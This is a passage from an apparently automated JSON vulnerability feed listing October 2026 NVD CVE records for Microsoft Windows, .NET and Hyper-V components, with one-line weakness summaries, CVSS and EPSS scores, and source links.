fixes.","publishedAt":"2026-10-13T19:18:07.377Z","updatedAt":"2026-10-16T14:17:21.393Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108471","asOf":"2026-10-16T14:17:21.393Z"},"epss":{"probability":0.00376,"percentile":0.31326,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108471&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108471","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108471","type":"primary","publishedAt":"2026-10-13T19:18:07.377Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108471&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108471, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108468","cveId":"CVE-2026-108468","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:07.180Z","updatedAt":"2026-10-16T16:17:02.960Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108468","asOf":"2026-10-16T16:17:02.960Z"},"epss":{"probability":0.00286,"percentile":0.20921,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108468&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108468","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108468","type":"primary","publishedAt":"2026-10-13T19:18:07.180Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108468&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108468, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108467","cveId":"CVE-2026-108467","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an authorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an authorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an authorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:06.987Z","updatedAt":"2026-10-16T16:17:02.767Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108467","asOf":"2026-10-16T16:17:02.767Z"},"epss":{"probability":0.01003,"percentile":0.6269,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108467&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108467","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108467","type":"primary","publishedAt":"2026-10-13T19:18:06.987Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108467&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108467, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108465","cveId":"CVE-2026-108465","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Update Delivery Optimization allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Update Delivery Optimization allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Update Delivery Optimization allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:06.620Z","updatedAt":"2026-10-16T16:17:02.413Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108465","asOf":"2026-10-16T16:17:02.413Z"},"epss":{"probability":0.00286,"percentile":0.20927,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108465&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108465","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108465","type":"primary","publishedAt":"2026-10-13T19:18:06.620Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108465&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108465, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108464","cveId":"CVE-2026-108464","aliases":[],"kind":"vulnerability","title":"Use after free in Software Protection Platform (SPP) allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Software Protection Platform (SPP) allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Software Protection Platform (SPP) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:06.443Z","updatedAt":"2026-10-16T16:17:02.240Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108464","asOf":"2026-10-16T16:17:02.240Z"},"epss":{"probability":0.00286,"percentile":0.20926,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108464&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108464","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108464","type":"primary","publishedAt":"2026-10-13T19:18:06.443Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108464&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108464, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108463","cveId":"CVE-2026-108463","aliases":[],"kind":"vulnerability","title":"Improper resolution of path equivalence in Windows SmartScreen allows an unauthorized attacker to bypass a security feature over a network.","summary":"Improper resolution of path equivalence in Windows SmartScreen allows an unauthorized attacker to bypass a security feature over a network.","detail":"Improper resolution of path equivalence in Windows SmartScreen allows an unauthorized attacker to bypass a security feature over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:06.310Z","updatedAt":"2026-10-16T04:18:24.730Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108463","asOf":"2026-10-16T04:18:24.730Z"},"epss":{"probability":0.00996,"percentile":0.62437,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108463&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108463","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108463","type":"primary","publishedAt":"2026-10-13T19:18:06.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108463&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108463, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108461","cveId":"CVE-2026-108461","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:05.960Z","updatedAt":"2026-10-16T16:17:01.893Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108461","asOf":"2026-10-16T16:17:01.893Z"},"epss":{"probability":0.00286,"percentile":0.20926,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108461&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108461","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108461","type":"primary","publishedAt":"2026-10-13T19:18:05.960Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108461&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108461, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108460","cveId":"CVE-2026-108460","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Message Queuing allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Windows Message Queuing allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Windows Message Queuing allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:05.767Z","updatedAt":"2026-10-16T16:17:01.703Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108460","asOf":"2026-10-16T16:17:01.703Z"},"epss":{"probability":0.0078,"percentile":0.55641,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108460&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108460","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108460","type":"primary","publishedAt":"2026-10-13T19:18:05.767Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108460&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108460, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108458","cveId":"CVE-2026-108458","aliases":[],"kind":"vulnerability","title":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:05.573Z","updatedAt":"2026-10-16T16:17:01.510Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108458","asOf":"2026-10-16T16:17:01.510Z"},"epss":{"probability":0.00869,"percentile":0.58503,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108458&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108458","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108458","type":"primary","publishedAt":"2026-10-13T19:18:05.573Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108458&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108458, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108457","cveId":"CVE-2026-108457","aliases":[],"kind":"vulnerability","title":"Out-of-bounds write in Microsoft Windows PDF allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds write in Microsoft Windows PDF allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds write in Microsoft Windows PDF allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:05.437Z","updatedAt":"2026-10-16T16:17:01.320Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108457","asOf":"2026-10-16T16:17:01.320Z"},"epss":{"probability":0.0078,"percentile":0.5564,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108457&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108457","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108457","type":"primary","publishedAt":"2026-10-13T19:18:05.437Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108457&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108457, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108400","cveId":"CVE-2026-108400","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Microsoft Windows Codecs Library allows an unauthorized attacker to execute code over a network.","summary":"Integer overflow or wraparound in Microsoft Windows Codecs Library allows an unauthorized attacker to execute code over a network.","detail":"Integer overflow or wraparound in Microsoft Windows Codecs Library allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:05.300Z","updatedAt":"2026-10-13T23:17:30.400Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108400","asOf":"2026-10-13T23:17:30.400Z"},"epss":{"probability":0.00905,"percentile":0.59583,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108400&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108400","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108400","type":"primary","publishedAt":"2026-10-13T19:18:05.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108400&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108400, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108399","cveId":"CVE-2026-108399","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:05.103Z","updatedAt":"2026-10-16T16:16:58.643Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Hyper-V"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108399","asOf":"2026-10-16T16:16:58.643Z"},"epss":{"probability":0.00391,"percentile":0.32921,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108399&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108399","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108399","type":"primary","publishedAt":"2026-10-13T19:18:05.103Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108399&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108399, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108398","cveId":"CVE-2026-108398","aliases":[],"kind":"vulnerability","title":"Untrusted search path in .NET Framework allows an authorized attacker to bypass a security feature locally.","summary":"Untrusted search path in .NET Framework allows an authorized attacker to bypass a security feature locally.","detail":"Untrusted search path in .NET Framework allows an authorized attacker to bypass a security feature locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:04.963Z","updatedAt":"2026-10-13T23:17:30.117Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108398","asOf":"2026-10-13T23:17:30.117Z"},"epss":{"probability":0.00779,"percentile":0.55614,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108398&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108398","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108398","type":"primary","publishedAt":"2026-10-13T19:18:04.963Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108398&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108398, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108134","cveId":"CVE-2026-108134","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Autopilot allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Autopilot allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Autopilot allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 